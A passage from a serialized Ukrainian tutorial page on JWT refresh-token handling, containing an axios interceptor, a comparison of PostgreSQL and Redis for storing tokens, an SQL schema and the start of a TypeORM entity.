[];\n\n\u002F\u002F Функція для підписки на результат оновлення токена\nfunction subscribeTokenRefresh(callback: (token: string) => void) {\n  refreshSubscribers.push(callback);\n}\n\n\u002F\u002F Функція для сповіщення всіх підписників про новий токен\nfunction onRefreshed(token: string) {\n  refreshSubscribers.forEach((callback) => callback(token));\n  refreshSubscribers = [];\n}\n\n\u002F\u002F Interceptor для автоматичного оновлення токенів\napi.interceptors.response.use(\n  (response) => response, \u002F\u002F Успішні відповіді пропускаємо\n  async (error) => {\n    const originalRequest = error.config;\n\n    \u002F\u002F Якщо отримали 401 та це не повторний запит\n    if (error.response?.status === 401 && !originalRequest._retry) {\n      if (isRefreshing) {\n        \u002F\u002F Якщо токен вже оновлюється, чекаємо результату\n        return new Promise((resolve) => {\n          subscribeTokenRefresh((token: string) => {\n            originalRequest.headers.Authorization = `Bearer ${token}`;\n            resolve(api(originalRequest));\n          });\n        });\n      }\n\n      originalRequest._retry = true;\n      isRefreshing = true;\n\n      try {\n        \u002F\u002F Спроба оновити токени\n        const { data } = await axios.post(\n          'https:\u002F\u002Fapi.example.com\u002Fauth\u002Frefresh',\n          {},\n          { withCredentials: true } \u002F\u002F Надсилає HttpOnly Cookie з Refresh Token\n        );\n\n        const newAccessToken = data.data.accessToken;\n\n        \u002F\u002F Зберігаємо новий Access Token\n        localStorage.setItem('access_token', newAccessToken);\n        api.defaults.headers.common['Authorization'] = `Bearer ${newAccessToken}`;\n\n        \u002F\u002F Сповіщаємо всі запити, що чекають\n        onRefreshed(newAccessToken);\n\n        \u002F\u002F Повторюємо оригінальний запит з новим токеном\n        originalRequest.headers.Authorization = `Bearer ${newAccessToken}`;\n        return api(originalRequest);\n      } catch (refreshError) {\n        \u002F\u002F Оновлення токена не вдалося — перенаправляємо на логін\n        localStorage.removeItem('access_token');\n        window.location.href = '\u002Flogin';\n        return Promise.reject(refreshError);\n      } finally {\n        isRefreshing = false;\n      }\n    }\n\n    return Promise.reject(error);\n  }\n);\n\nexport default api;\n",[5122,7538,7539,7544,7559,7563,7582,7592,7605,7609,7613,7628,7661,7665,7670,7700,7716,7720,7724,7729,7746,7774,7781,7785,7789,7794,7816,7835,7851,7870,7874,7879,7917,7930,7936,7958,7978,8011,8027,8033,8039,8045,8050,8067,8079,8084,8092,8098,8123,8131,8137,8153,8159,8164,8187,8192,8198,8220,8261,8266,8272,8284,8289,8295,8323,8336,8352,8358,8374,8397,8415,8425,8437,8442,8447,8452,8470,8475,8480,8485],{"__ignoreMap":5270},[5274,7540,7541],{"class":5276,"line":5277},[5274,7542,7543],{"class":5280},"\u002F\u002F src\u002Fapi\u002Faxios-instance.ts\n",[5274,7545,7546,7548,7551,7554,7557],{"class":5276,"line":5284},[5274,7547,6282],{"class":5605},[5274,7549,7550],{"class":5305}," axios",[5274,7552,7553],{"class":5605}," from",[5274,7555,7556],{"class":5358}," 'axios'",[5274,7558,5852],{"class":5295},[5274,7560,7561],{"class":5276,"line":5318},[5274,7562,5577],{"emptyLinePlaceholder":5576},[5274,7564,7565,7567,7570,7572,7575,7577,7580],{"class":5276,"line":5350},[5274,7566,5288],{"class":5287},[5274,7568,7569],{"class":5291}," api",[5274,7571,5296],{"class":5295},[5274,7573,7574],{"class":5305},"axios",[5274,7576,5302],{"class":5295},[5274,7578,7579],{"class":5311},"create",[5274,7581,6354],{"class":5295},[5274,7583,7584,7587,7590],{"class":5276,"line":5368},[5274,7585,7586],{"class":5305},"  baseURL:",[5274,7588,7589],{"class":5358}," 'https:\u002F\u002Fapi.example.com'",[5274,7591,5443],{"class":5295},[5274,7593,7594,7597,7600,7602],{"class":5276,"line":5470},[5274,7595,7596],{"class":5305},"  withCredentials:",[5274,7598,7599],{"class":5287}," true",[5274,7601,5129],{"class":5295},[5274,7603,7604],{"class":5280},"\u002F\u002F Дозволяє надсилання HttpOnly Cookies\n",[5274,7606,7607],{"class":5276,"line":5644},[5274,7608,5473],{"class":5295},[5274,7610,7611],{"class":5276,"line":5650},[5274,7612,5577],{"emptyLinePlaceholder":5576},[5274,7614,7615,7618,7621,7623,7626],{"class":5276,"line":5674},[5274,7616,7617],{"class":5287},"let",[5274,7619,7620],{"class":5305}," isRefreshing",[5274,7622,5296],{"class":5295},[5274,7624,7625],{"class":5287},"false",[5274,7627,5852],{"class":5295},[5274,7629,7630,7632,7635,7637,7640,7643,7645,7647,7649,7652,7655,7658],{"class":5276,"line":5680},[5274,7631,7617],{"class":5287},[5274,7633,7634],{"class":5305}," refreshSubscribers",[5274,7636,5595],{"class":5295},[5274,7638,7639],{"class":5567},"Array",[5274,7641,7642],{"class":5295},"\u003C(",[5274,7644,5132],{"class":5305},[5274,7646,5595],{"class":5295},[5274,7648,5568],{"class":5567},[5274,7650,7651],{"class":5295},") ",[5274,7653,7654],{"class":5287},"=>",[5274,7656,7657],{"class":5567}," void",[5274,7659,7660],{"class":5295},"> = [];\n",[5274,7662,7663],{"class":5276,"line":5685},[5274,7664,5577],{"emptyLinePlaceholder":5576},[5274,7666,7667],{"class":5276,"line":5691},[5274,7668,7669],{"class":5280},"\u002F\u002F Функція для підписки на результат оновлення токена\n",[5274,7671,7672,7675,7678,7680,7683,7686,7688,7690,7692,7694,7696,7698],{"class":5276,"line":5855},[5274,7673,7674],{"class":5287},"function",[5274,7676,7677],{"class":5311}," subscribeTokenRefresh",[5274,7679,5414],{"class":5295},[5274,7681,7682],{"class":5311},"callback",[5274,7684,7685],{"class":5295},": (",[5274,7687,5132],{"class":5305},[5274,7689,5595],{"class":5295},[5274,7691,5568],{"class":5567},[5274,7693,7651],{"class":5295},[5274,7695,7654],{"class":5287},[5274,7697,7657],{"class":5567},[5274,7699,5600],{"class":5295},[5274,7701,7702,7705,7707,7710,7712,7714],{"class":5276,"line":5860},[5274,7703,7704],{"class":5305},"  refreshSubscribers",[5274,7706,5302],{"class":5295},[5274,7708,7709],{"class":5311},"push",[5274,7711,5414],{"class":5295},[5274,7713,7682],{"class":5305},[5274,7715,5371],{"class":5295},[5274,7717,7718],{"class":5276,"line":5865},[5274,7719,5677],{"class":5295},[5274,7721,7722],{"class":5276,"line":6032},[5274,7723,5577],{"emptyLinePlaceholder":5576},[5274,7725,7726],{"class":5276,"line":6038},[5274,7727,7728],{"class":5280},"\u002F\u002F Функція для сповіщення всіх підписників про новий токен\n",[5274,7730,7731,7733,7736,7738,7740,7742,7744],{"class":5276,"line":6044},[5274,7732,7674],{"class":5287},[5274,7734,7735],{"class":5311}," onRefreshed",[5274,7737,5414],{"class":5295},[5274,7739,5132],{"class":5305},[5274,7741,5595],{"class":5295},[5274,7743,5568],{"class":5567},[5274,7745,5600],{"class":5295},[5274,7747,7748,7750,7752,7755,7758,7760,7762,7764,7767,7769,7771],{"class":5276,"line":6050},[5274,7749,7704],{"class":5305},[5274,7751,5302],{"class":5295},[5274,7753,7754],{"class":5311},"forEach",[5274,7756,7757],{"class":5295},"((",[5274,7759,7682],{"class":5305},[5274,7761,7651],{"class":5295},[5274,7763,7654],{"class":5287},[5274,7765,7766],{"class":5311}," callback",[5274,7768,5414],{"class":5295},[5274,7770,5132],{"class":5305},[5274,7772,7773],{"class":5295},"));\n",[5274,7775,7776,7778],{"class":5276,"line":6947},[5274,7777,7704],{"class":5305},[5274,7779,7780],{"class":5295}," = [];\n",[5274,7782,7783],{"class":5276,"line":6953},[5274,7784,5677],{"class":5295},[5274,7786,7787],{"class":5276,"line":6959},[5274,7788,5577],{"emptyLinePlaceholder":5576},[5274,7790,7791],{"class":5276,"line":6965},[5274,7792,7793],{"class":5280},"\u002F\u002F Interceptor для автоматичного оновлення токенів\n",[5274,7795,7796,7799,7801,7804,7806,7809,7811,7814],{"class":5276,"line":6971},[5274,7797,7798],{"class":5305},"api",[5274,7800,5302],{"class":5295},[5274,7802,7803],{"class":5305},"interceptors",[5274,7805,5302],{"class":5295},[5274,7807,7808],{"class":5305},"response",[5274,7810,5302],{"class":5295},[5274,7812,7813],{"class":5311},"use",[5274,7815,5315],{"class":5295},[5274,7817,7818,7821,7823,7825,7827,7830,7832],{"class":5276,"line":6977},[5274,7819,7820],{"class":5295},"  (",[5274,7822,7808],{"class":5305},[5274,7824,7651],{"class":5295},[5274,7826,7654],{"class":5287},[5274,7828,7829],{"class":5305}," response",[5274,7831,5129],{"class":5295},[5274,7833,7834],{"class":5280},"\u002F\u002F Успішні відповіді пропускаємо\n",[5274,7836,7837,7840,7842,7845,7847,7849],{"class":5276,"line":6983},[5274,7838,7839],{"class":5287},"  async",[5274,7841,5509],{"class":5295},[5274,7843,7844],{"class":5305},"error",[5274,7846,7651],{"class":5295},[5274,7848,7654],{"class":5287},[5274,7850,7239],{"class":5295},[5274,7852,7853,7856,7859,7861,7863,7865,7868],{"class":5276,"line":6989},[5274,7854,7855],{"class":5287},"    const",[5274,7857,7858],{"class":5291}," originalRequest",[5274,7860,5296],{"class":5295},[5274,7862,7844],{"class":5305},[5274,7864,5302],{"class":5295},[5274,7866,7867],{"class":5305},"config",[5274,7869,5852],{"class":5295},[5274,7871,7872],{"class":5276,"line":7514},[5274,7873,5577],{"emptyLinePlaceholder":5576},[5274,7875,7876],{"class":5276,"line":7520},[5274,7877,7878],{"class":5280},"    \u002F\u002F Якщо отримали 401 та це не повторний запит\n",[5274,7880,7881,7884,7886,7888,7890,7892,7895,7898,7901,7904,7907,7910,7912,7915],{"class":5276,"line":7526},[5274,7882,7883],{"class":5605},"    if",[5274,7885,5509],{"class":5295},[5274,7887,7844],{"class":5305},[5274,7889,5302],{"class":5295},[5274,7891,7808],{"class":5305},[5274,7893,7894],{"class":5295},"?.",[5274,7896,7897],{"class":5305},"status",[5274,7899,7900],{"class":5295}," === ",[5274,7902,7903],{"class":6196},"401",[5274,7905,7906],{"class":5295}," && !",[5274,7908,7909],{"class":5305},"originalRequest",[5274,7911,5302],{"class":5295},[5274,7913,7914],{"class":5305},"_retry",[5274,7916,5600],{"class":5295},[5274,7918,7920,7923,7925,7928],{"class":5276,"line":7919},31,[5274,7921,7922],{"class":5605},"      if",[5274,7924,5509],{"class":5295},[5274,7926,7927],{"class":5305},"isRefreshing",[5274,7929,5600],{"class":5295},[5274,7931,7933],{"class":5276,"line":7932},32,[5274,7934,7935],{"class":5280},"        \u002F\u002F Якщо токен вже оновлюється, чекаємо результату\n",[5274,7937,7939,7942,7944,7947,7949,7952,7954,7956],{"class":5276,"line":7938},33,[5274,7940,7941],{"class":5605},"        return",[5274,7943,5631],{"class":5287},[5274,7945,7946],{"class":5567}," Promise",[5274,7948,7757],{"class":5295},[5274,7950,7951],{"class":5305},"resolve",[5274,7953,7651],{"class":5295},[5274,7955,7654],{"class":5287},[5274,7957,7239],{"class":5295},[5274,7959,7961,7964,7966,7968,7970,7972,7974,7976],{"class":5276,"line":7960},34,[5274,7962,7963],{"class":5311},"          subscribeTokenRefresh",[5274,7965,7757],{"class":5295},[5274,7967,5132],{"class":5305},[5274,7969,5595],{"class":5295},[5274,7971,5568],{"class":5567},[5274,7973,7651],{"class":5295},[5274,7975,7654],{"class":5287},[5274,7977,7239],{"class":5295},[5274,7979,7981,7984,7986,7989,7991,7993,7995,7998,8001,8003,8006,8009],{"class":5276,"line":7980},35,[5274,7982,7983],{"class":5305},"            originalRequest",[5274,7985,5302],{"class":5295},[5274,7987,7988],{"class":5305},"headers",[5274,7990,5302],{"class":5295},[5274,7992,7149],{"class":5305},[5274,7994,5296],{"class":5295},[5274,7996,7997],{"class":5358},"`Bearer ",[5274,7999,8000],{"class":5287},"${",[5274,8002,5132],{"class":5305},[5274,8004,8005],{"class":5287},"}",[5274,8007,8008],{"class":5358},"`",[5274,8010,5852],{"class":5295},[5274,8012,8014,8017,8019,8021,8023,8025],{"class":5276,"line":8013},36,[5274,8015,8016],{"class":5311},"            resolve",[5274,8018,5414],{"class":5295},[5274,8020,7798],{"class":5311},[5274,8022,5414],{"class":5295},[5274,8024,7909],{"class":5305},[5274,8026,7773],{"class":5295},[5274,8028,8030],{"class":5276,"line":8029},37,[5274,8031,8032],{"class":5295},"          });\n",[5274,8034,8036],{"class":5276,"line":8035},38,[5274,8037,8038],{"class":5295},"        });\n",[5274,8040,8042],{"class":5276,"line":8041},39,[5274,8043,8044],{"class":5295},"      }\n",[5274,8046,8048],{"class":5276,"line":8047},40,[5274,8049,5577],{"emptyLinePlaceholder":5576},[5274,8051,8053,8056,8058,8060,8062,8065],{"class":5276,"line":8052},41,[5274,8054,8055],{"class":5305},"      originalRequest",[5274,8057,5302],{"class":5295},[5274,8059,7914],{"class":5305},[5274,8061,5296],{"class":5295},[5274,8063,8064],{"class":5287},"true",[5274,8066,5852],{"class":5295},[5274,8068,8070,8073,8075,8077],{"class":5276,"line":8069},42,[5274,8071,8072],{"class":5305},"      isRefreshing",[5274,8074,5296],{"class":5295},[5274,8076,8064],{"class":5287},[5274,8078,5852],{"class":5295},[5274,8080,8082],{"class":5276,"line":8081},43,[5274,8083,5577],{"emptyLinePlaceholder":5576},[5274,8085,8087,8090],{"class":5276,"line":8086},44,[5274,8088,8089],{"class":5605},"      try",[5274,8091,7239],{"class":5295},[5274,8093,8095],{"class":5276,"line":8094},45,[5274,8096,8097],{"class":5280},"        \u002F\u002F Спроба оновити токени\n",[5274,8099,8101,8104,8106,8109,8112,8114,8116,8118,8121],{"class":5276,"line":8100},46,[5274,8102,8103],{"class":5287},"        const",[5274,8105,6285],{"class":5295},[5274,8107,8108],{"class":5291},"data",[5274,8110,8111],{"class":5295}," } = ",[5274,8113,5770],{"class":5605},[5274,8115,7550],{"class":5305},[5274,8117,5302],{"class":5295},[5274,8119,8120],{"class":5311},"post",[5274,8122,5315],{"class":5295},[5274,8124,8126,8129],{"class":5276,"line":8125},47,[5274,8127,8128],{"class":5358},"          'https:\u002F\u002Fapi.example.com\u002Fauth\u002Frefresh'",[5274,8130,5443],{"class":5295},[5274,8132,8134],{"class":5276,"line":8133},48,[5274,8135,8136],{"class":5295},"          {},\n",[5274,8138,8140,8143,8146,8148,8150],{"class":5276,"line":8139},49,[5274,8141,8142],{"class":5295},"          { ",[5274,8144,8145],{"class":5305},"withCredentials:",[5274,8147,7599],{"class":5287},[5274,8149,5362],{"class":5295},[5274,8151,8152],{"class":5280},"\u002F\u002F Надсилає HttpOnly Cookie з Refresh Token\n",[5274,8154,8156],{"class":5276,"line":8155},50,[5274,8157,8158],{"class":5295},"        );\n",[5274,8160,8162],{"class":5276,"line":8161},51,[5274,8163,5577],{"emptyLinePlaceholder":5576},[5274,8165,8167,8169,8172,8174,8176,8178,8180,8182,8185],{"class":5276,"line":8166},52,[5274,8168,8103],{"class":5287},[5274,8170,8171],{"class":5291}," newAccessToken",[5274,8173,5296],{"class":5295},[5274,8175,8108],{"class":5305},[5274,8177,5302],{"class":5295},[5274,8179,8108],{"class":5305},[5274,8181,5302],{"class":5295},[5274,8183,8184],{"class":5305},"accessToken",[5274,8186,5852],{"class":5295},[5274,8188,8190],{"class":5276,"line":8189},53,[5274,8191,5577],{"emptyLinePlaceholder":5576},[5274,8193,8195],{"class":5276,"line":8194},54,[5274,8196,8197],{"class":5280},"        \u002F\u002F Зберігаємо новий Access Token\n",[5274,8199,8201,8204,8206,8209,8211,8213,8215,8218],{"class":5276,"line":8200},55,[5274,8202,8203],{"class":5305},"        localStorage",[5274,8205,5302],{"class":5295},[5274,8207,8208],{"class":5311},"setItem",[5274,8210,5414],{"class":5295},[5274,8212,5417],{"class":5358},[5274,8214,5129],{"class":5295},[5274,8216,8217],{"class":5305},"newAccessToken",[5274,8219,5371],{"class":5295},[5274,8221,8223,8226,8228,8231,8233,8235,8237,8240,8243,8246,8249,8251,8253,8255,8257,8259],{"class":5276,"line":8222},56,[5274,8224,8225],{"class":5305},"        api",[5274,8227,5302],{"class":5295},[5274,8229,8230],{"class":5305},"defaults",[5274,8232,5302],{"class":5295},[5274,8234,7988],{"class":5305},[5274,8236,5302],{"class":5295},[5274,8238,8239],{"class":5305},"common",[5274,8241,8242],{"class":5295},"[",[5274,8244,8245],{"class":5358},"'Authorization'",[5274,8247,8248],{"class":5295},"] = ",[5274,8250,7997],{"class":5358},[5274,8252,8000],{"class":5287},[5274,8254,8217],{"class":5305},[5274,8256,8005],{"class":5287},[5274,8258,8008],{"class":5358},[5274,8260,5852],{"class":5295},[5274,8262,8264],{"class":5276,"line":8263},57,[5274,8265,5577],{"emptyLinePlaceholder":5576},[5274,8267,8269],{"class":5276,"line":8268},58,[5274,8270,8271],{"class":5280},"        \u002F\u002F Сповіщаємо всі запити, що чекають\n",[5274,8273,8275,8278,8280,8282],{"class":5276,"line":8274},59,[5274,8276,8277],{"class":5311},"        onRefreshed",[5274,8279,5414],{"class":5295},[5274,8281,8217],{"class":5305},[5274,8283,5371],{"class":5295},[5274,8285,8287],{"class":5276,"line":8286},60,[5274,8288,5577],{"emptyLinePlaceholder":5576},[5274,8290,8292],{"class":5276,"line":8291},61,[5274,8293,8294],{"class":5280},"        \u002F\u002F Повторюємо оригінальний запит з новим токеном\n",[5274,8296,8298,8301,8303,8305,8307,8309,8311,8313,8315,8317,8319,8321],{"class":5276,"line":8297},62,[5274,8299,8300],{"class":5305},"        originalRequest",[5274,8302,5302],{"class":5295},[5274,8304,7988],{"class":5305},[5274,8306,5302],{"class":5295},[5274,8308,7149],{"class":5305},[5274,8310,5296],{"class":5295},[5274,8312,7997],{"class":5358},[5274,8314,8000],{"class":5287},[5274,8316,8217],{"class":5305},[5274,8318,8005],{"class":5287},[5274,8320,8008],{"class":5358},[5274,8322,5852],{"class":5295},[5274,8324,8326,8328,8330,8332,8334],{"class":5276,"line":8325},63,[5274,8327,7941],{"class":5605},[5274,8329,7569],{"class":5311},[5274,8331,5414],{"class":5295},[5274,8333,7909],{"class":5305},[5274,8335,5371],{"class":5295},[5274,8337,8339,8342,8345,8347,8350],{"class":5276,"line":8338},64,[5274,8340,8341],{"class":5295},"      } ",[5274,8343,8344],{"class":5605},"catch",[5274,8346,5509],{"class":5295},[5274,8348,8349],{"class":5305},"refreshError",[5274,8351,5600],{"class":5295},[5274,8353,8355],{"class":5276,"line":8354},65,[5274,8356,8357],{"class":5280},"        \u002F\u002F Оновлення токена не вдалося — перенаправляємо на логін\n",[5274,8359,8361,8363,8365,8368,8370,8372],{"class":5276,"line":8360},66,[5274,8362,8203],{"class":5305},[5274,8364,5302],{"class":5295},[5274,8366,8367],{"class":5311},"removeItem",[5274,8369,5414],{"class":5295},[5274,8371,5417],{"class":5358},[5274,8373,5371],{"class":5295},[5274,8375,8377,8380,8382,8385,8387,8390,8392,8395],{"class":5276,"line":8376},67,[5274,8378,8379],{"class":5305},"        window",[5274,8381,5302],{"class":5295},[5274,8383,8384],{"class":5305},"location",[5274,8386,5302],{"class":5295},[5274,8388,8389],{"class":5305},"href",[5274,8391,5296],{"class":5295},[5274,8393,8394],{"class":5358},"'\u002Flogin'",[5274,8396,5852],{"class":5295},[5274,8398,8400,8402,8404,8406,8409,8411,8413],{"class":5276,"line":8399},68,[5274,8401,7941],{"class":5605},[5274,8403,7946],{"class":5567},[5274,8405,5302],{"class":5295},[5274,8407,8408],{"class":5311},"reject",[5274,8410,5414],{"class":5295},[5274,8412,8349],{"class":5305},[5274,8414,5371],{"class":5295},[5274,8416,8418,8420,8423],{"class":5276,"line":8417},69,[5274,8419,8341],{"class":5295},[5274,8421,8422],{"class":5605},"finally",[5274,8424,7239],{"class":5295},[5274,8426,8428,8431,8433,8435],{"class":5276,"line":8427},70,[5274,8429,8430],{"class":5305},"        isRefreshing",[5274,8432,5296],{"class":5295},[5274,8434,7625],{"class":5287},[5274,8436,5852],{"class":5295},[5274,8438,8440],{"class":5276,"line":8439},71,[5274,8441,8044],{"class":5295},[5274,8443,8445],{"class":5276,"line":8444},72,[5274,8446,7131],{"class":5295},[5274,8448,8450],{"class":5276,"line":8449},73,[5274,8451,5577],{"emptyLinePlaceholder":5576},[5274,8453,8455,8458,8460,8462,8464,8466,8468],{"class":5276,"line":8454},74,[5274,8456,8457],{"class":5605},"    return",[5274,8459,7946],{"class":5567},[5274,8461,5302],{"class":5295},[5274,8463,8408],{"class":5311},[5274,8465,5414],{"class":5295},[5274,8467,7844],{"class":5305},[5274,8469,5371],{"class":5295},[5274,8471,8473],{"class":5276,"line":8472},75,[5274,8474,5647],{"class":5295},[5274,8476,8478],{"class":5276,"line":8477},76,[5274,8479,5371],{"class":5295},[5274,8481,8483],{"class":5276,"line":8482},77,[5274,8484,5577],{"emptyLinePlaceholder":5576},[5274,8486,8488,8491,8494,8496],{"class":5276,"line":8487},78,[5274,8489,8490],{"class":5605},"export",[5274,8492,8493],{"class":5605}," default",[5274,8495,7569],{"class":5305},[5274,8497,5852],{"class":5295},[6642,8499,8500,8503,8504,8506,8507,5302],{},[5099,8501,8502],{},"Чому не використовувати Refresh Token для API запитів?"," Refresh Token призначений виключно для ендпоінту ",[5122,8505,5155],{}," та ніколи не має надсилатися разом із звичайними запитами. Це мінімізує ризик його витоку — навіть якщо зловмисник перехопить усі HTTP запити, він не отримає Refresh Token, оскільки той зберігається у HttpOnly Cookie і надсилається лише при виклику ",[5122,8508,5155],{},[5171,8510],{},[5084,8512,8514],{"id":8513},"зберігання-refresh-token-бд-vs-redis","Зберігання Refresh Token: БД vs Redis",[5089,8516,8517],{},"Refresh Token має зберігатися на сервері для можливості відкликання. Існують два основні підходи: реляційна база даних (PostgreSQL) або in-memory кеш (Redis).",[5257,8519,8521],{"id":8520},"варіант-1-зберігання-у-postgresql","Варіант 1: Зберігання у PostgreSQL",[5089,8523,8524],{},[5099,8525,8526],{},"Переваги:",[5093,8528,8529,8532,8543],{},[5096,8530,8531],{},"✅ Персистентність даних — токени не втрачаються при перезавантаженні сервера.",[5096,8533,8534,8535,5129,8537,5129,8540,5249],{},"✅ Підтримка складних запитів (пошук за ",[5122,8536,5128],{},[5122,8538,8539],{},"deviceName",[5122,8541,8542],{},"ipAddress",[5096,8544,8545],{},"✅ Можливість аналізу історії сесій (коли користувач останній раз використовував токен).",[5089,8547,8548],{},[5099,8549,8550],{},"Недоліки:",[5093,8552,8553,8556],{},[5096,8554,8555],{},"❌ Повільніше за Redis (потребує запиту до диска).",[5096,8557,8558],{},"❌ Додаткове навантаження на БД при високому трафіку.",[5089,8560,8561],{},[5099,8562,8563],{},"Структура таблиці:",[5265,8565,8569],{"className":8566,"code":8567,"language":8568,"meta":5270,"style":5270},"language-sql shiki shiki-themes light-plus dark-plus dark-plus","-- migrations\u002Fcreate-refresh-tokens-table.sql\nCREATE TABLE refresh_tokens (\n  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),\n  user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE,\n  token VARCHAR(255) UNIQUE NOT NULL,\n  device_name VARCHAR(100),\n  ip_address INET,\n  user_agent TEXT,\n  created_at TIMESTAMP DEFAULT NOW(),\n  expires_at TIMESTAMP NOT NULL,\n  last_used_at TIMESTAMP DEFAULT NOW(),\n  \n  -- Індекс для швидкого пошуку токена\n  CONSTRAINT idx_refresh_token UNIQUE (token)\n);\n\n-- Індекс для пошуку токенів користувача\nCREATE INDEX idx_refresh_tokens_user_id ON refresh_tokens(user_id);\n\n-- Індекс для автоматичного видалення прострочених токенів\nCREATE INDEX idx_refresh_tokens_expires_at ON refresh_tokens(expires_at);\n","sql",[5122,8570,8571,8576,8590,8604,8623,8646,8660,8670,8680,8696,8707,8720,8724,8729,8742,8746,8750,8755,8771,8775,8780],{"__ignoreMap":5270},[5274,8572,8573],{"class":5276,"line":5277},[5274,8574,8575],{"class":5280},"-- migrations\u002Fcreate-refresh-tokens-table.sql\n",[5274,8577,8578,8581,8584,8587],{"class":5276,"line":5284},[5274,8579,8580],{"class":5287},"CREATE",[5274,8582,8583],{"class":5287}," TABLE",[5274,8585,8586],{"class":5311}," refresh_tokens",[5274,8588,8589],{"class":5295}," (\n",[5274,8591,8592,8595,8598,8601],{"class":5276,"line":5318},[5274,8593,8594],{"class":5295},"  id UUID ",[5274,8596,8597],{"class":5287},"PRIMARY KEY",[5274,8599,8600],{"class":5287}," DEFAULT",[5274,8602,8603],{"class":5295}," gen_random_uuid(),\n",[5274,8605,8606,8609,8612,8615,8618,8621],{"class":5276,"line":5350},[5274,8607,8608],{"class":5295},"  user_id UUID ",[5274,8610,8611],{"class":5287},"NOT NULL",[5274,8613,8614],{"class":5287}," REFERENCES",[5274,8616,8617],{"class":5295}," users(id) ",[5274,8619,8620],{"class":5287},"ON DELETE CASCADE",[5274,8622,5443],{"class":5295},[5274,8624,8625,8628,8631,8633,8636,8638,8641,8644],{"class":5276,"line":5368},[5274,8626,8627],{"class":5295},"  token ",[5274,8629,8630],{"class":5287},"VARCHAR",[5274,8632,5414],{"class":5295},[5274,8634,8635],{"class":6196},"255",[5274,8637,7651],{"class":5295},[5274,8639,8640],{"class":5287},"UNIQUE",[5274,8642,8643],{"class":5287}," NOT NULL",[5274,8645,5443],{"class":5295},[5274,8647,8648,8651,8653,8655,8658],{"class":5276,"line":5470},[5274,8649,8650],{"class":5295},"  device_name ",[5274,8652,8630],{"class":5287},[5274,8654,5414],{"class":5295},[5274,8656,8657],{"class":6196},"100",[5274,8659,6425],{"class":5295},[5274,8661,8662,8665,8668],{"class":5276,"line":5644},[5274,8663,8664],{"class":5295},"  ip_address ",[5274,8666,8667],{"class":5287},"INET",[5274,8669,5443],{"class":5295},[5274,8671,8672,8675,8678],{"class":5276,"line":5650},[5274,8673,8674],{"class":5295},"  user_agent ",[5274,8676,8677],{"class":5287},"TEXT",[5274,8679,5443],{"class":5295},[5274,8681,8682,8685,8688,8690,8693],{"class":5276,"line":5674},[5274,8683,8684],{"class":5295},"  created_at ",[5274,8686,8687],{"class":5287},"TIMESTAMP",[5274,8689,8600],{"class":5287},[5274,8691,8692],{"class":5287}," NOW",[5274,8694,8695],{"class":5295},"(),\n",[5274,8697,8698,8701,8703,8705],{"class":5276,"line":5680},[5274,8699,8700],{"class":5295},"  expires_at ",[5274,8702,8687],{"class":5287},[5274,8704,8643],{"class":5287},[5274,8706,5443],{"class":5295},[5274,8708,8709,8712,8714,8716,8718],{"class":5276,"line":5685},[5274,8710,8711],{"class":5295},"  last_used_at ",[5274,8713,8687],{"class":5287},[5274,8715,8600],{"class":5287},[5274,8717,8692],{"class":5287},[5274,8719,8695],{"class":5295},[5274,8721,8722],{"class":5276,"line":5691},[5274,8723,5754],{"class":5295},[5274,8725,8726],{"class":5276,"line":5855},[5274,8727,8728],{"class":5280},"  -- Індекс для швидкого пошуку токена\n",[5274,8730,8731,8734,8737,8739],{"class":5276,"line":5860},[5274,8732,8733],{"class":5287},"  CONSTRAINT",[5274,8735,8736],{"class":5295}," idx_refresh_token ",[5274,8738,8640],{"class":5287},[5274,8740,8741],{"class":5295}," (token)\n",[5274,8743,8744],{"class":5276,"line":5865},[5274,8745,5371],{"class":5295},[5274,8747,8748],{"class":5276,"line":6032},[5274,8749,5577],{"emptyLinePlaceholder":5576},[5274,8751,8752],{"class":5276,"line":6038},[5274,8753,8754],{"class":5280},"-- Індекс для пошуку токенів користувача\n",[5274,8756,8757,8759,8762,8765,8768],{"class":5276,"line":6044},[5274,8758,8580],{"class":5287},[5274,8760,8761],{"class":5287}," INDEX",[5274,8763,8764],{"class":5311}," idx_refresh_tokens_user_id",[5274,8766,8767],{"class":5287}," ON",[5274,8769,8770],{"class":5295}," refresh_tokens(user_id);\n",[5274,8772,8773],{"class":5276,"line":6050},[5274,8774,5577],{"emptyLinePlaceholder":5576},[5274,8776,8777],{"class":5276,"line":6947},[5274,8778,8779],{"class":5280},"-- Індекс для автоматичного видалення прострочених токенів\n",[5274,8781,8782,8784,8786,8789,8791],{"class":5276,"line":6953},[5274,8783,8580],{"class":5287},[5274,8785,8761],{"class":5287},[5274,8787,8788],{"class":5311}," idx_refresh_tokens_expires_at",[5274,8790,8767],{"class":5287},[5274,8792,8793],{"class":5295}," refresh_tokens(expires_at);\n",[5089,8795,8796],{},[5099,8797,8798],{},"TypeORM Entity:",[5265,8800,8802],{"className":5267,"code":8801,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fauth\u002Fentities\u002Frefresh-token.entity.ts\nimport {\n  Entity,\n  Column,\n  PrimaryGeneratedColumn,\n  ManyToOne,\n  CreateDateColumn,\n  Index,\n} from 'typeorm';\nimport { User } from '..\u002F..\u002Fusers\u002Fentities\u002Fuser.entity';\n\n@Entity('refresh_tokens')\nexport class RefreshToken {\n  @PrimaryGeneratedColumn('uuid')\n  id: string;\n\n  @ManyToOne(() => User, { onDelete: 'CASCADE' })\n  user: User;\n\n  @Column({ unique: true })\n  @Index()\n  token: string;\n\n  @Column({ nullable: true })\n  deviceName: string;\n\n  @Column({ type: 'inet', nullable: true })\n  ipAddress: string;\n\n  @Column({ type: 'text', nullable: true })\n  userAgent: string;\n\n  @CreateDateColumn()\n  createdAt: Date;\n\n  @Column({ type: 'timestamp' })\n  @Index()\n  expiresAt: Date;\n\n  @Column({ type: 'timestamp', default: () => 'NOW()' })\n  lastUsedAt: Date;\n}\n",[5122,8803,8804,8809,8815,8822,8829,8836,8843,8850,8857,8869,8887,8891,8907,8919,8934,8944,8948,8974,8985,8989,9005,9015,9025,9029,9044,9054,9058,9080,9090,9094,9115,9125,9129,9138,9148,9152,9167,9175,9185,9189,9218,9228],{"__ignoreMap":5270},[5274,8805,8806],{"class":5276,"line":5277},[5274,8807,8808],{"class":5280},"\u002F\u002F src\u002Fauth\u002Fentities\u002Frefresh-token.entity.ts\n",[5274,8810,8811,8813],{"class":5276,"line":5284},[5274,8812,6282],{"class":5605},[5274,8814,7239],{"class":5295},[5274,8816,8817,8820],{"class":5276,"line":5318},[5274,8818,8819],{"class":5305},"  